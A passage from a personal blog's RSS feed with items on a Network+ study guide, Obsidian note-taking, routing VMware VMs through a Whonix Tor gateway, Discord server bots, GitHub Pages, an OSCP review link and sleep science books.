<p>To complement the CompTIA Network+ Study Guide: Exam N10-007, 4e, and the CompTIA Network+ Deluxe Study Guide: Exam N10-007, 4e, look at CompTIA Network+ Practice Tests: Exam N10-007 (9781119432128).</p>

<p>Todd Lammle’s bestselling CompTIA Network+ Study Guide for the N10-007 exam!</p>

<p>CompTIA’s Network+ certification tells the world you have the skills to install, configure, and troubleshoot today’s basic networking hardware peripherals and protocols. First, however, you have to pass the exam! This detailed CompTIA Authorized study guide by networking guru Todd Lammle has everything you need to prepare for the CompTIA Network+ Exam N10-007.</p>

<p>Todd covers all exam objectives, explains key topics, offers plenty of practical examples, and draws upon his own invaluable 30 years of networking experience to help you learn. The Study Guide prepares you for Exam N10-007, the new CompTIA Network+ Exam:</p>

<ul>
  <li>Covers all exam objectives including network technologies, network installation and configuration, network media and topologies, security, and much more</li>
  <li>Includes practical examples review questions, as well as access to practice exams and flashcards to reinforce learning</li>
  <li>Networking guru and expert author Todd Lammle offers valuable insights and tips drawn from real-world experience
Plus, receive one year of FREE access to a robust set of online interactive learning tools, including hundreds of sample practice questions, a pre-assessment test, bonus practice exams, and over 100 electronic flashcards. Prepare for the exam and enhance your career—starting now!</li>
</ul>

<p>
  <br />
</p>
<h2 id="editorial-reviews">Editorial Reviews</h2>
<hr />
<p>
  <br />
</p>
<h3 id="from-the-inside-flap">From the Inside Flap</h3>
<p>Comprehensive preparation for the CompTIA Network+ exam, with real-world insight and online study tools!</p>

<p>The CompTIA Network+ Study Guide is your one-stop resource for the ultimate in exam preparation. Featuring 100 percent coverage of Exam N10-007 objectives, this book walks you through the essentials of network technologies, installation, configuration, media, topologies, security, and more. Networking guru Todd Lammle draws from 30 years of networking experience to explain key topics, backed by practical examples and real-world insights relevant to what you’ll face on the job. The Sybex online interactive learning environment gives you access to electronic flashcards, sample questions, a pre-assessment test, and bonus practice exams to help you prepare thoroughly and go into the exam with confidence!</p>

<p>Coverage of 100% of all exam objectives in this Study Guide means you’ll be ready for:</p>

<ul>
  <li>Network Architecture, Applications, and Devices</li>
  <li>Routing Protocols, Cloud Technologies, and Implementations</li>
  <li>Network Monitoring and Performance Tracking</li>
  <li>WAN, LAN, and Switch Configuration</li>
  <li>Vulnerability Identification and Threat Assessment</li>
  <li>Security Controls and Basic Forensics</li>
  <li>Wireless, Cable, Network, Security, and WAN Troubleshooting</li>
  <li>Standards, Safety, Ports, and Protocols</li>
  <li>Interactive learning environment</li>
</ul>

<p>Take your exam prep to the next level with Sybex’s superior interactive online study tools. To access our learning environment, simply visit http://www.wiley.com/go/netplustestprep, type in your unique PIN, and instantly gain one year of FREE access to:</p>

<p>*Interactive test bank with 2 practice exams. Practice exams help you identify areas where further review is needed. Get more than 90% of the answers correct, and you’re ready to take the certification exam.</p>
<ul>
  <li>100 electronic flashcards to reinforce learning and last-minute prep before the exam.</li>
  <li>Comprehensive glossary in PDF format gives you instant access to the key terms so you are fully prepared.</li>
</ul>

<p>ABOUT THE COMPTIA NETWORK+ PROGRAM</p>

<p>CompTIA’s Network+ is a vendor-neutral networking certification that validates the knowledge and skills to troubleshoot, configure and manage common wired and wireless networks. CompTIA Network+ is accredited by ANSI as meeting the ISO/IEC 17024 standard, and is approved by U.S. Department of Defense (DoD) to fulfill Directive 8570.01-M requirements. It is compliant with government regulations under the Federal Information Security Management Act (FISMA). Visit www.certification.comptia.org for more information.</p>

<p>
  <br />
</p>
<h3 id="about-the-author">About the Author</h3>
<p>Todd Lammle, Network+, CCSI, CCNA, CCNP, is the networking authority. He has been involved in computers and networking with Fortune 500 companies for almost 30 years. Todd is President of GlobalNet System Solutions, Inc., a networking integration and training firm. He is the bestselling author of numerous titles, with over 900,000 copies of his books in print. He can be reached through his website at www.lammle.com.</p>

<p>
  <br />
</p>
<h2 id="book-details">Book Details</h2>
<hr />
<p>Author: Todd Lammle</p>

<p>Category: Computer Networks, Computer &amp; Technology Certification Guides</p>

<p>Publisher: Sybex; 4th edition (May 8, 2018)</p>

<p>Paperback: 1008 pages</p>

<p>
  <br />
</p>
<h2 id="my-comment">My Comment</h2>
<hr />
<p>This is a huge book about computer networking and it is absolutely necessary for a Penetration Tester or Ethical Hacker to have a good understanding of most of the topics discussed in this book, so if you are a newcomer to this field, I highly recommend this book, you may skip some parts according to your field of work, for example if you want to work in Web Application Security field, you can only read the parts that are related to your field but I absolutely recommend reading it from cover to cover. The OSI model, the IP address classes, Subnetting, Network Devices and Topologies, Routing Protocols and many other topics are necessary knowledge you must have if you want to become a successful ethical hacker.</p>

<p>
  <br />
</p>
<h2 id="references">
  <em>References</em>
</h2>
<hr />


          ]]>
        </description>

        <pubDate>Mon, 29 Nov 2021 19:00:00 -0500</pubDate>
        <link>https://nima.ninja/books/2021/network-plus</link>
        <guid isPermaLink="true">https://nima.ninja/books/2021/network-plus</guid>

        
          <media:content url="https://nima.ninja/books/assets/2021/network-plus-book.jpg" medium="image" />
        

        
          <category>books</category>
        
        
          <category>CompTIA</category>
        
          <category>Network</category>
        
          <category>Network+</category>
        
          <category>Certifications</category>
        
          <category>Prerequisite</category>
        
          <category>Newcomers</category>
        
      </item>
    
      <item>
        <title>Looking for iOS Kernel Bugs</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/blog/assets/2021/meme1.jpg" alt="Looking for iOS Kernel Bugs" /></p>
            

            <p>
  <br />
</p>

<p>
  <br />
</p>

          ]]>
        </description>

        <pubDate>Thu, 11 Nov 2021 00:00:00 -0500</pubDate>
        <link>https://nima.ninja/blog/2021/looking-for-ios-kernel-bugs</link>
        <guid isPermaLink="true">https://nima.ninja/blog/2021/looking-for-ios-kernel-bugs</guid>

        
          <media:content url="https://nima.ninja/blog/assets/2021/meme1.jpg" medium="image" />
        

        
          <category>blog</category>
        
        
          <category>Fun</category>
        
          <category>iOS</category>
        
          <category>Kernel</category>
        
          <category>Bugs</category>
        
          <category>Memes</category>
        
      </item>
    
      <item>
        <title>Obsidian: A second brain, for you, forever</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/blog/assets/2021/obsidian1.png" alt="Obsidian: A second brain, for you, forever" /></p>
            

            <p>
  <br />
</p>

<p>
  <br />
</p>

<p>In rare moments, an application is found which works great and also feels great to work with; Obsidian is one of those rare gems. It is a powerful knowledge base on top of a local folder of plain text Markdown files. If you want to start a project, research on a topic or prepare for an exam, you can use it as your personal knowledge management to store your notes and organize your thinking and have a more effective learning experience.
There are many alternatives for note taking or personal knowledge management with different features and flavors like:
Notion, Joplin, CherryTree, Roam Research, Typora, KeepNote, OneNote, Evernote…
Each has its own pros and cons, Obsidian has some great characteristics that I really liked:</p>

<ul>
  <li>The UI feels great. It has many themes that you can use to customize the environment to your liking.</li>
</ul>

<p>
  <br />
</p>
<img src="https://nima.ninja/blog/assets/2021/obsidian2.png" width="800" height="492" alt="An Obsidian page showing name and preview picture of some themes" />
<p>
  <br />
</p>

<ul>
  <li>It doesn’t impose its structure and format on you, because it doesn’t have any rigid structure like Notation outlines and other applications: You are the real boss here! You can decide how to structure your data and your thinking. It is very important because in the long run, applications that we use also shape us and direct our thinking in specific ways or add some limitations to our thinking because of their specific formats.</li>
  <li>You use it locally and offline so you have total control on your data.</li>
  <li>There is no vendor lock-in problem because your notes are stored as plain text files so they are highly portable and you can use any other software for their management in the future if you want.</li>
  <li>It’s free! Yes all of the core features are free and you don’t need to pay for them.</li>
  <li>It uses Markdown language for text formatting, if you are familiar with Markdown, you feel at home, you can also use HTML syntax and it supports CSS and many JavaScript libraries like PrismJS… It uses Mermaid language for drawing diagrams and graphs.</li>
</ul>

<p>
  <br />
</p>
<img src="https://nima.ninja/blog/assets/2021/obsidian5.png" width="817" height="498" alt="Obsidian help page" />
<p>
  <br />
</p>

<ul>
  <li>It has many great official and community plugins, I personally don’t use community plugins for security reasons but it also has many official plugins and new ones are developed constantly.</li>
  <li>It draws a graph of your notes and their relations which is super cool and helpful in organizing your thoughts and have a visual view of all of your tasks, here is one of my graphs that it has drawn from my notes and their connections:</li>
</ul>

<p>
  <br />
</p>
<img src="https://nima.ninja/blog/assets/2021/obsidian3.jpg" width="514" height="500" alt="Obsidian notes graph" />
<p>
  <br />
</p>

<p>When you zoom in you see:</p>

<p>
  <br />
</p>
<img src="https://nima.ninja/blog/assets/2021/obsidian4.jpg" width="794" height="472" alt="Obsidian notes graph zoomed in" />
<p>
  <br />
</p>

<p>So it is a great app that I really like, I used to use OneNote, and it is also good but the UI of Obsidian is more smooth and it also has better features and characteristics that are vital to my work. I think part of the decision to choose an app over another one is also personal and in the end, you need to try it yourself and see how it suits you or your needs or if you liked the experience or not.</p>

<p>I have a tight schedule to study for multiple Cybersecurity Certifications and exams starting from OSCP and also my researches and works. You need your tools prepared to be more effective, one of them can be Obsidian, another great one is GreenShot which I use for screen shots and sending pictures to my Obsidian notes.</p>

<p>I also highly recommend that you open GitHub or GitLab private repositories to save a copy of your notes so you don’t risk losing them, here are mine:</p>

<p>
  <br />
</p>
<img src="https://nima.ninja/blog/assets/2021/obsidian6.png" width="818" height="371" alt="a GitHub web page listing my public and private repositories" />
<p>
  <br />
</p>

<p>The <em>Command Center</em> is the core of my life, my daily tasks and my goals and research topics. The <em>Certification</em> is another repository that I use to follow my different certification study paths, I use a new Obsidian vault for each certification that I want to get, for example I created a new vault for my OSCP journey.</p>

<p>I hope I have been able to show you some parts of this great program, try it for yourself, it’s free and use it if you enjoyed your experience.
In order to get started, visit Obsidian website and download it, then start from its local help to get started fast.</p>

<p>
  <br />
</p>
<h2 id="references">
  <em>References</em>
</h2>
<hr />


          ]]>
        </description>

        <pubDate>Fri, 29 Oct 2021 19:00:00 -0500</pubDate>
        <link>https://nima.ninja/blog/2021/obsidian-a-second-brain-for-you-forever</link>
        <guid isPermaLink="true">https://nima.ninja/blog/2021/obsidian-a-second-brain-for-you-forever</guid>

        
          <media:content url="https://nima.ninja/blog/assets/2021/obsidian1.png" medium="image" />
        

        
          <category>blog</category>
        
        
          <category>Obsidian</category>
        
          <category>Knowledge Base</category>
        
          <category>Personal Knowledge Management</category>
        
          <category>Note Taking</category>
        
          <category>Markdown</category>
        
      </item>
    
      <item>
        <title>Techlore: Digital rights for all</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/links/assets/2021/techlore.png" alt="Techlore: Digital rights for all" /></p>
            

            <p>
  <br />
</p>

<p>
  <br />
</p>

<p>This Youtube channel has great tips for Privacy and Anonymity.</p>

<p>
  <br />
</p>
<h2 id="external-links">
  <em>External Links</em>
</h2>
<hr />
<ul>
  <li>
    <h3 id="techlore-youtube-channel"><a href="https://www.youtube.com/channel/UCs6KfncB4OV6Vug4o_bzijg">Techlore Youtube Channel</a></h3>
  </li>
</ul>

          ]]>
        </description>

        <pubDate>Wed, 20 Oct 2021 00:00:00 -0500</pubDate>
        <link>https://nima.ninja/links/2021/techlore</link>
        <guid isPermaLink="true">https://nima.ninja/links/2021/techlore</guid>

        
          <media:content url="https://nima.ninja/links/assets/2021/techlore.png" medium="image" />
        

        
          <category>links</category>
        
        
          <category>Privacy</category>
        
          <category>Anonymity</category>
        
          <category>Youtube Channel</category>
        
      </item>
    
      <item>
        <title>Whonix: Software That Can Anonymize Everything You Do Online</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/blog/assets/2021/whonix-logo.png" alt="Whonix: Software That Can Anonymize Everything You Do Online" /></p>
            

            <p>
  <br />
</p>

<p>
  <br />
</p>

<h2 id="whonix-tor-gateway">Whonix Tor Gateway</h2>
<hr />
<p>You can anonymize all of your web requests by using Whonix Tor Gateway. You download and use a Whonix VirtualBox VM which is a hardened Linux distro and this VM can act as your Tor gateway for all of your web requests, it is great because it prevents possible DNS and IP leaks which can happen with most of VPNs and it also uses Tor network.</p>

<p>
  <br />
</p>
<h2 id="using-whonix-tor-gateway-with-your-vmware-workstation-vms">Using Whonix Tor Gateway with your VMware Workstation VMs</h2>
<hr />
<p>Whonix Tor gateway VM is a VirtualBox VM, you can use it with other VirtualBox VMs without any configuration but in order to use it with your VMware VMs you must set up your Whonix VM network and VMware network like the following:</p>

<p>First set up the necessary Whonix VM network adapters:</p>

<p>Don’t change this default network adapter:</p>

<p>
  <br />
</p>
<img src="https://nima.ninja/blog/assets/2021/whonix1.png" width="641" height="525" alt="Adapter 1 tab in network section of Whonix gateway settings containing a field named attached to with the value of NAT" />
<p>
  <br />
</p>

<p>Add a secondary network adapter or edit it like this if it already exists:</p>

<p>
  <br />
</p>
<img src="https://nima.ninja/blog/assets/2021/whonix2.png" width="647" height="529" alt="Adapter 2 tab in network section of Whonix gateway settings containing a field named attached to with the value of Host-only adapter" />
<p>
  <br />
</p>

<p>Next step is to be able to use this network in VMware workstation:</p>

<p>Go to Edit -&gt; Virtual Network Editor… and add a new network like the selected one in the picture:</p>

<p>
  <br />
</p>
<img src="https://nima.ninja/blog/assets/2021/vmware1.png" width="602" height="525" alt="Virtual Network Editor in VMware showing a network bridged to Adapter 2 which was previously added in VirtualBox" />
<p>
  <br />
</p>

<p>Now you can use Whonix Tor Gateway in your VMware VMs. Just do the network config necessary to connect to this network in each of your VMs that you want to use this Tor gateway. You must set IP,Netmask and Gateway according the network that is set in your Whonix, Your Gateway address is the Whonix Tor Gateway IP, and also set your DNS settings according to Whonix Tor gateway.</p>

<p>After connection, use: WhatIsMyIPAddress and DNSLeakTest to make sure that you are using Tor gateway and there’s no info leak.</p>

<p>
  <br />
</p>
<h2 id="tips">Tips</h2>
<hr />
<ol>
  <li>
    <p>You must pay attention that this does not prevent browser leak and user mistakes that may happen while using web.</p>
  </li>
  <li>
    <p>Read every Whonix Document that you can! They are great and feel like the best possible classroom for anyone in any level of knowledge! Besides Whonix setup itself, they can teach you a lot about different technical aspects of digital privacy and anonymity and related risks that exist. Most of them are highly technical and only suitable for advanced users.</p>
  </li>
  <li>
    <p>There are many ways to set up Whonix. Use Whonix Documentation for more info.</p>
  </li>
</ol>

<p>
  <br />
</p>
<h2 id="references">
  <em>References</em>
</h2>
<hr />


          ]]>
        </description>

        <pubDate>Tue, 19 Oct 2021 19:00:01 -0500</pubDate>
        <link>https://nima.ninja/blog/2021/whonix-tor-gateway</link>
        <guid isPermaLink="true">https://nima.ninja/blog/2021/whonix-tor-gateway</guid>

        
          <media:content url="https://nima.ninja/blog/assets/2021/whonix-logo.png" medium="image" />
        

        
          <category>blog</category>
        
        
          <category>Whonix</category>
        
          <category>Privacy</category>
        
          <category>Anonymity</category>
        
          <category>Tor</category>
        
          <category>Linux</category>
        
          <category>Advanced</category>
        
      </item>
    
      <item>
        <title>My Discord Server is Up and Running!</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/blog/assets/2021/discord.png" alt="My Discord Server is Up and Running!" /></p>
            

            <p>
  <br />
</p>

<p>
  <br />
</p>

<p>At last I did it! I had Discord account and even a simple server for some years but never put in the necessary effort to fully set up and customize my server. Finally I’ve put some time this week (maybe around 100 hours!! Yeah it’s no joke if you want a great server!) to set up and complete my own Discord server.
For those of you who may not know, Discord is a VoIP platform for being in touch with friends, teammates and new people, build your own community and…, It was initially launched for gamers for them to have real-time communications in online team games but it has expanded more and now includes many other work, research, teamwork communities. It has all the capabilities of Whatsapp, Signal, Telegram… combined and even many more! It’s very amazing, I really can’t understand why it hasn’t got enough publicity and recognition that it deserves. I guess it will in the following years.</p>

<p>As you may already know from <a href="https://nima.ninja/about">About Me</a> section, one area of my expertise is VoIP systems and I confirm that this platform has almost all of the VoIP capabilities, and the great thing is that it’s free! Yeah you can pay and boost your server but you don’t have to and you can have a fully functioning server for free! And the limitation in customizing your server is in your own imagination!</p>

<p>
  <br />
</p>
<h2 id="capabilities-of-discord">Capabilities of Discord</h2>
<hr />
<ul>
  <li>Building text and voice channels and have text chat and voice/video conference with many people at the same time.</li>
  <li>Share your desktop/files… with many people.</li>
  <li>Call your friends and contacts like Whatsapp, Signal…</li>
  <li>Allow other users and mods to create their own channels… and customize your server space!</li>
  <li>Great teamwork and collaboration capabilities like Slack but much more fun and feature-rich services. You can create Threads in text channels for specific discussions to avoid clutter and disorder in your channels.</li>
  <li>Assign different roles to different members and have different permissions and access controls for each role type.</li>
  <li>Almost unlimited amount of pre-made bots to manage any aspect of your server: Security Bots: Anti-DDoS, Anti-Raid, Anti-Nuke, Suspicious Behavior and Anomaly Detection, Anti-Spam and many other Chat and Server Moderation options. Server Stats bots: show a real-time stats of your server to visitors: persons online, bots online, the number of rooms, roles, the number of different roles online…
Music bots to get music commands from server visitors and members and play the music they like, Reaction Roles bots to add the capability of users getting their own favorite roles by interacting with robots. Have some bots to interact with people and welcome them to server and guide them to different sections of the server.
Leveling bots to add more fun to your server and give XP to active persons in chat and level them up, so higher levels can get new roles, rewards, services that you created, automatically…</li>
  <li>Building your own bots and attach them to your server with Webhooks to have fully customized, manageable new functionalities that you can’t find in existing bots. Great and so much fun for developers! So as you can see, you can have a fully automated server that almost all of the management tasks are done by robots!</li>
  <li>Link your Discord server to automation services like Zapier and publish your new RSS feeds of your website, your favorite websites or your new tweets, Github commits, your new Youtube videos, When you start your stream on Twitch,Youtube… automatically to an assigned announcement channel on Discord so your Discord audience are informed almost instantly and join you on your other platform. Any other visitor and Discord user can also follow your announcements if you assign enough permissions for new visitors. This automation aspect is in my opinion one of the interesting capabilities of Discord.</li>
  <li>You can have server admins and mods to manage your server and assign related permissions to them.</li>
  <li>You can build private channels for important bot logs for server management.
And much more.</li>
</ul>

<p>I’m really excited about this platform as it has unlimited features but although the whole process of building a simple server is easy and fast, it takes time to fully customize and configure your server but it is definitely worth the effort. So start building your own Discord server now! :)</p>

<p>
  <br />
</p>
<h2 id="my-discord-server">My Discord Server</h2>
<hr />
<p>Have a look at my Discord server and join if you like.</p>

<p>The default role is Guest now with limited permissions and most of my server rooms and services are hidden to guest role but I give roles with more permissions to anyone who wants to explore more so come and join me on my Discord journey ;)!</p>

<p>I should also mention that this platform has normal encryption mechanisms and is not intended for secure end-to-end encryption connections but it’s ok for normal use if you properly set up your server security mechanisms and use a trusted VPN for your connections.</p>

<p>
  <br />
</p>
<h2 id="useful-discord-bots-tips">Useful Discord Bots Tips</h2>
<hr />
<p>
  <em>And finally I have some tips about some useful Discord bots that I used, These tips may make your sever setup more smooth and faster:</em>
</p>

<p>1) Double Counter Controls Discord Server entry and prevents alt accounts, Robots and users who want to join with VPN from getting a guest role after joining server. You can turn on your VPN after this first human verification mechanism is done.</p>

<p>2) Wick prevents suspicious and malicious behaviors from mods and all other users and other bots and has anti-nuking, anti-raid… and many other security features that can be set up in its web dashboard.</p>

<p>3) Dyno prevents user spam and bad words and…, it warns/mutes/kicks/bans bad users. It has web panel.</p>

<p>Update 12/25/2022:</p>

<p>I’ve also created a form with Dyno, it consists of some questions that new joined users are required to answer. The answers are posted to a hidden management channel in the server for being reviewed by admins.</p>

<p>4) Arcane is used for leveling users. It has web panel.</p>

<p>5) Tatsu is also used for leveling users. It has many more features, It creates a really cool atmosphere for your server and can make it much more fun and interactive for users.</p>

<p>5) Yagpdb is used for Reaction Roles. It has web panel.</p>

<p>6) ServerStats is used for your server stats.</p>

<p>7) Mee6 is used for many purposes: welcome message, some server stats, custom commands, Server audit logs… It has web panel.</p>

<p>Update 12/25/2022:</p>

<p>8) FredBoat and 24/7 bots are used for playing music in channels.</p>

<p>9) IFTTT is used for automation, I use it now to announce my new website posts and my latest Github commits in some announcement channels in the Discord server. Also I use IFTTT service to announce my latest website posts in my X.</p>

<p>
  <br />
</p>
<h2 id="references">
  <em>References</em>
</h2>
<hr />


          ]]>
        </description>

        <pubDate>Fri, 15 Oct 2021 00:00:00 -0500</pubDate>
        <link>https://nima.ninja/blog/2021/my-discord-server-is-up-and-running</link>
        <guid isPermaLink="true">https://nima.ninja/blog/2021/my-discord-server-is-up-and-running</guid>

        
          <media:content url="https://nima.ninja/blog/assets/2021/discord.png" medium="image" />
        

        
          <category>blog</category>
        
        
          <category>Discord</category>
        
          <category>Bots</category>
        
          <category>Zapier</category>
        
          <category>Social Networking</category>
        
      </item>
    
      <item>
        <title>Up and Running with GitHub Pages</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/links/assets/2021/github.png" alt="Up and Running with GitHub Pages" /></p>
            

            <p>
  <br />
</p>

<p>
  <br />
</p>

<p>If you want to learn how to use Jekyll with Github pages to build your own website or blog, one of cool resources is these Up and Running series from Bill Raymond’s youtube page. He teaches great tips that can really make your design process easier.</p>

<p>
  <br />
</p>
<h2 id="external-links">
  <em>External Links</em>
</h2>
<hr />
<ul>
  <li>
    <h3 id="up-and-running-with-github-pages-part-1-overview"><a href="https://www.youtube.com/watch?v=EvYs1idcGnM&amp;list=PLWzwUIYZpnJuT0sH4BN56P5oWTdHJiTNq&amp;index=1">Up and Running with GitHub Pages, Part 1, Overview</a></h3>
  </li>
  <li>
    <h3 id="how-to-install-a-local-jekyll-dev-environment"><a href="https://jekyllrb.com/docs/installation/">How to install a local Jekyll dev environment</a></h3>
  </li>
  <li>
    <h3 id="up-and-running-with-github-pages-part-2-the-basics"><a href="https://youtu.be/gzxSnyLoSgY">Up and Running with GitHub Pages, Part 2, The Basics</a></h3>
  </li>
  <li>
    <h3 id="up-and-running-with-github-pages-part-3-blogging-with-jekyll"><a href="https://youtu.be/EmSrQCDsMv4">Up and Running with GitHub Pages, Part 3, Blogging with Jekyll</a></h3>
  </li>
</ul>

          ]]>
        </description>

        <pubDate>Mon, 11 Oct 2021 00:00:00 -0500</pubDate>
        <link>https://nima.ninja/links/2021/up-and-running-with-github-pages</link>
        <guid isPermaLink="true">https://nima.ninja/links/2021/up-and-running-with-github-pages</guid>

        
          <media:content url="https://nima.ninja/links/assets/2021/github.png" medium="image" />
        

        
          <category>links</category>
        
        
          <category>Github</category>
        
          <category>Github Pages</category>
        
          <category>Jekyll</category>
        
          <category>Youtube Channel</category>
        
          <category>Static Site Generator</category>
        
          <category>Website</category>
        
          <category>Blog</category>
        
          <category>Open Source Software</category>
        
          <category>Tutorial</category>
        
          <category>Markdown</category>
        
      </item>
    
      <item>
        <title>My OSCP Journey -  A Review</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/links/assets/2021/oscp.png" alt="My OSCP Journey -  A Review" /></p>
            

            <p>
  <br />
</p>

<p>
  <br />
</p>

<p>Great tips on how to pass the OSCP exam.</p>

<p>
  <br />
</p>
<h2 id="external-links">
  <em>External Links</em>
</h2>
<hr />
<ul>
  <li>
    <h3 id="my-oscp-journey---a-review"><a href="https://rana-khalil.gitbook.io/hack-the-box-oscp-preparation/my-oscp-journey-a-review" rel="nofollow">My OSCP Journey - A Review</a></h3>
  </li>
</ul>

          ]]>
        </description>

        <pubDate>Thu, 07 Oct 2021 00:00:00 -0500</pubDate>
        <link>https://nima.ninja/links/2021/my-oscp-journey-a-review</link>
        <guid isPermaLink="true">https://nima.ninja/links/2021/my-oscp-journey-a-review</guid>

        
          <media:content url="https://nima.ninja/links/assets/2021/oscp.png" medium="image" />
        

        
          <category>links</category>
        
        
          <category>Penetration Testing</category>
        
          <category>Hacking</category>
        
          <category>Offsec</category>
        
          <category>Certifications</category>
        
          <category>OSCP</category>
        
          <category>Hack the Box</category>
        
      </item>
    
      <item>
        <title>Why We Sleep: Unlocking the Power of Sleep and Dreams</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/books/assets/2021/why-we-sleep-book.jpg" alt="Why We Sleep: Unlocking the Power of Sleep and Dreams" /></p>
            

            <p>
  <br />
</p>

<p>
  <br />
</p>

<h2 id="amazon-description">Amazon Description</h2>
<hr />
<p>
  <strong>“Why We Sleep is an important and fascinating book…Walker taught me a lot about this basic activity that every person on Earth needs. I suspect his book will do the same for you.” —Bill Gates</strong>
</p>

<p>
  <strong>A New York Times bestseller and international sensation, this “stimulating and important book” (Financial Times) is a fascinating dive into the purpose and power of slumber.</strong>
</p>

<p>Sleep is one of the most important but least understood aspects of our life, wellness, and longevity. Until very recently, science had no answer to the question of why we sleep, or what good it served, or why we suffer such devastating health consequences when we don’t sleep. Compared to the other basic drives in life—eating, drinking, and reproducing—the purpose of sleep remained elusive.</p>

<p>An explosion of scientific discoveries in the last twenty years has shed new light on this fundamental aspect of our lives. Now, preeminent neuroscientist and sleep expert Matthew Walker gives us a new understanding of the vital importance of sleep and dreaming. Within the brain, sleep enriches our ability to learn, memorize, and make logical decisions. It recalibrates our emotions, restocks our immune system, fine-tunes our metabolism, and regulates our appetite. Dreaming mollifies painful memories and creates a virtual reality space in which the brain melds past and present knowledge to inspire creativity.</p>

<p>Walker answers important questions about sleep: how do caffeine and alcohol affect sleep? What really happens during REM sleep? Why do our sleep patterns change across a lifetime? How do common sleep aids affect us and can they do long-term damage? Charting cutting-edge scientific breakthroughs, and synthesizing decades of research and clinical practice, Walker explains how we can harness sleep to improve learning, mood, and energy levels; regulate hormones; prevent cancer, Alzheimer’s, and diabetes; slow the effects of aging; increase longevity; enhance the education and lifespan of our children, and boost the efficiency, success, and productivity of our businesses. Clear-eyed, fascinating, and accessible, Why We Sleep is a crucial and illuminating book.”</p>

<p>
  <br />
</p>
<h2 id="editorial-reviews">Editorial Reviews</h2>
<hr />
<p>
  <br />
</p>
<h3 id="review">Review</h3>
<p>“A thoughtful tour through the still dimly understood state of being asleep … Why We Sleep is a book on a mission. Walker is in love with sleep and wants us to fall in love with sleep, too. And it is urgent. He makes the argument, persuasively, that we are in the midst of a ‘silent sleep loss epidemic’ that poses ‘the greatest public health challenge we face in the 21st century’ … Why We Sleep mounts a persuasive, exuberant case for addressing our societal sleep deficit and for the virtues of sleep itself. It is recommended for night-table reading in the most pragmatic sense.”
—New York Times Book Review</p>

<p>“The director of UC Berkeley’s Sleep and Neuroimaging Lab explores the purpose of slumber. Understanding the ‘why,’ it turns out, just might help you with the ‘how to.’”
—People</p>

<p>“A neuroscientist has found a revolutionary way of being cleverer, more attractive, slimmer, happier, healthier and of warding off cancer — a good night’s shut-eye … It’s probably a little too soon to tell you that Why We Sleep saved my life, but I can tell you that it’s been an eye-opener.”
—The Guardian</p>

<p>“This is a stimulating and important book which you should read in the knowledge that the author is, as he puts it, ‘in love with everything that sleep is and does.’ But please do not begin it just before bedtime.”
—Financial Times</p>

<p>“Fascinating … Walker describes how our resting habits have changed throughout history; the connection between sleep, chronic disease, and life span; and why the pills and aids we use to sleep longer and deeper are actually making our nights worse. Most important, he gives us simple, actionable ways to get better rest—tonight.”
—Men’s Journal</p>

<p>“Walker is a scientist but writes for the layperson, illustrating tricky concepts with easily grasped analogies. Of particular interest to business owners, educators, parents, and government officials, and anyone who has ever suffered from a poor night’s sleep.”
—Library Journal, starred review</p>

<p>“Why We Sleep is simply a must-read. World-renowned neuroscientist and sleep expert Matthew Walker takes us on a fascinating and indispensable journey into the latest understandings of the science of sleep. And the book goes way beyond satisfying intellectual curiosity, as it explores the cognitive, health, safety and business consequences of compromising the quality and quantity of our sleep; insights that may change the way you live your life. In these super-charged, distracting times it is hard to think of a book that is more important to read than this one.”
—Adam Gazzaley,co-author of The Distracted Mind, founder and executive director of Neuroscape, and Professor of Neurology, Physiology, and Psychiatry at University of California, San Francisco</p>

<p>“Most of us have no idea what we do with a third of our lives. In this lucid and engaging book, Matt Walker explains the new science that is rapidly solving this age-old mystery. Why We Sleep is a canny pleasure that will have you turning pages well past your bedtime.”
—Daniel Gilbert, professor of psychology at Harvard and author of Stumbling on Happiness</p>

<p>“In Why We Sleep, Dr. Matt Walker brilliantly illuminates the night, explaining how sleep can make us healthier, safer, smarter, and more productive. Clearly and definitively, he provides knowledge and strategies to overcome the life-threatening risks associated with our sleep-deprived society. Our universal need for sleep ensures that every reader will find value in Dr. Walker’s insightful counsel.”
—Mark R. Rosekind, Ph.D., former NHTSA Administrator, NTSB member, and NASA scientist</p>

<p>
  <br />
</p>
<h3 id="about-the-author">About the Author</h3>
<p>Matthew Walker is a professor of neuroscience and psychology at UC Berkeley, the Director of its Sleep and Neuroimaging Lab, and a former professor of psychiatry at Harvard University. He has published over 100 scientific studies and has appeared on 60 Minutes, Nova, BBC News, and NPR’s Science Friday. Why We Sleep is his first book.</p>

<p>
  <br />
</p>
<h2 id="book-details">Book Details</h2>
<hr />
<p>Author: Matthew Walker</p>

<p>Category: Neuroscience, Sleep Disorders</p>

<p>Publisher: Scribner; 1st edition (October 1, 2017)</p>

<p>
  <br />
</p>
<h2 id="my-comment">My Comment</h2>
<hr />
<p>Why do we and almost all living things sleep? Why is it necessary?</p>

<p>What are the dangers of sleeping less that 6-7 hours even for a single night?</p>

<p>How can enough sleep help us be more productive and fulfilling in life and achieve more in less time?</p>

<p>How does lack of sleep affect our learning abilities?</p>

<p>In this book you’ll find answers to these and many other important questions about sleep from the latest discoveries of Neuroscience field.</p>

<p>
  <br />
</p>
<h2 id="references">
  <em>References</em>
</h2>
<hr />


          ]]>
        </description>

        <pubDate>Thu, 07 Oct 2021 00:00:00 -0500</pubDate>
        <link>https://nima.ninja/books/2021/why-we-sleep-unlocking-the-power-of-sleep-and-dreams</link>
        <guid isPermaLink="true">https://nima.ninja/books/2021/why-we-sleep-unlocking-the-power-of-sleep-and-dreams</guid>

        
          <media:content url="https://nima.ninja/books/assets/2021/why-we-sleep-book.jpg" medium="image" />
        

        
          <category>books</category>
        
        
          <category>Neuroscience</category>
        
          <category>Sleep</category>
        
          <category>Top Science Book</category>
        
      </item>
    
      <item>
        <title>Virus of the Mind: The New Science of the Meme</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/books/assets/2021/virus-of-the-mind-book.jpg" alt="Virus of the Mind: The New Science of the Meme" /></p>
            

            <p>
  <br />
</p>

<p>
  <br />
</p>

<h2 id="amazon-description">Amazon Description</h2>
<hr />

